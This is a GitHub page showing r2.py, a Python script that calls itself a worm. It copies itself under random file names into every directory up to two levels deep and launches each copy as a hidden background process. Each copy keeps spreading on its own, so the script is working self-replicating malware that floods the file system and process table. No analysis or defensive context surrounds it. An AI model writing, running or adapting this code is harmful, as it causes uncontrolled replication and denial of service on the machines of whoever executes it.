-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathr2.py
More file actions
74 lines (58 loc) · 2.06 KB
/
r2.py
File metadata and controls
74 lines (58 loc) · 2.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import os
import shutil
import random
import string
import sys
import subprocess
import time
def rnd(n=8):
return ''.join(random.choices(string.ascii_letters + string.digits, k=n))
def cp_and_run(dest):
try:
src = sys.argv[0]
if os.path.isdir(dest):
dest_path = os.path.join(dest, f"{rnd(10)}.py")
else:
dest_dir = os.path.dirname(dest)
dest_path = os.path.join(dest_dir, f"{rnd(10)}.py") if dest_dir else f"{rnd(10)}.py"
if os.path.abspath(src) != os.path.abspath(dest_path):
shutil.copy2(src, dest_path)
subprocess.Popen(
[sys.executable, dest_path],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
creationflags=subprocess.CREATE_NO_WINDOW if sys.platform == 'win32' else 0
)
return True
except:
pass
return False
def get_all_dirs(start_path=None, max_depth=2):
if start_path is None:
start_path = os.path.dirname(os.path.abspath(sys.argv[0]))
start_path = os.path.abspath(start_path)
dirs = []
dirs.append(start_path)
try:
for root, subdirs, files in os.walk(start_path):
depth = root[len(start_path):].count(os.sep)
if depth < max_depth:
dirs.append(root)
for d in subdirs:
dirs.append(os.path.join(root, d))
else:
subdirs.clear()
except:
pass
return list(set(dirs))
if __name__ == "__main__":
script_dir = os.path.dirname(os.path.abspath(sys.argv[0]))
print(f"[*] Worm instance started (PID: {os.getpid()})")
print(f"[*] Location: {script_dir}")
targets = get_all_dirs(script_dir, max_depth=2)
print(f"[*] Targeting {len(targets)} directories")
for target in targets:
if cp_and_run(target):
print(f"[+] Spread to: {target}")
time.sleep(0.05)
print(f"[*] This instance finished. Copies are now spreading independently.")